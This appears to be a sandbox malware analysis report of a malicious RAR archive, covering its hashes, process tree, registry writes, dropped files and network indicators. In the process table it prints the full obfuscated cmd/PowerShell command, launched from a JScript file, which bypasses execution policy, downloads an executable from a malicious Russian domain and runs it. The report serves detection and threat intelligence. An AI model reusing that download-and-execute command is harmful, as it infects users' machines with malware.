| File name: | dokument.rar |
| Full analysis: | https://app.any.run/tasks/bb945082-d100-432f-9cd9-641285ae025d |
| Verdict: | Malicious activity |
| Analysis date: | April 23, 2019, 11:32:40 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, flags: EncryptedBlockHeader |
| MD5: | D0694B530BC897A3CF036B55332572A4 |
| SHA1: | B26BFED2594B068312E2DD8651915AD799725552 |
| SHA256: | 9F9B59D5BB8839258944DC8475AF7CEDE9CA72761E0496B6A8139F848ECB0D00 |
| SSDEEP: | 192:LNVUCPkxmOkXrtZ613qFBWbM0YOFTXMFJJ+HBlDgZeZoTBGMciFpdH2nhMLHT0Dw:LNVUJ1WemBWa6HjDgZ59GFWz2hM8Dw |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3672)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2384)
Starts CMD.EXE for commands execution
- WScript.exe (PID: 1436)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v-4.x) (58.3) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (41.6) |
Total processes
36
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1436 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\2.js" | C:\Windows\System32\WScript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2184 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\dokument.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 2384 | powErshelL.eXe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://news-medias.ru/report.exe','C:\Users\admin\AppData\Local\TempnHm30.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3672 | "C:\Windows\System32\cmd.exe" /c rpovIJgBhnDOcNb & p^owEr^she^lL.e^Xe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://news-medias.ru/report.exe','%temp%nHm30.exe'); & start %temp%nHm30.exe & SrsJeKmxWlTvZuG | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
758
Read events
663
Write events
95
Delete events
0
Modification events
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\dokument.rar | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2184) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @C:\Windows\System32\wshext.dll,-4804 |
Value: JScript Script File | |||
Executable files
0
Suspicious files
2
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2384 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T2LCH5XLIPORWA447LOG.temp | — | |
MD5:— | SHA256:— | |||
| 2384 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2184 | WinRAR.exe | C:\Users\admin\Desktop\2.js | text | |
MD5:— | SHA256:— | |||
| 2384 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF117944.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2384 | powershell.exe | GET | — | 86.106.200.105:80 | http://news-medias.ru/report.exe | RO | — | — | malicious |
2384 | powershell.exe | GET | — | 86.106.200.105:80 | http://news-medias.ru/report.exe | RO | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2384 | powershell.exe | 86.106.200.105:80 | news-medias.ru | Real Network and Tel SRL | RO | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
news-medias.ru |
| malicious |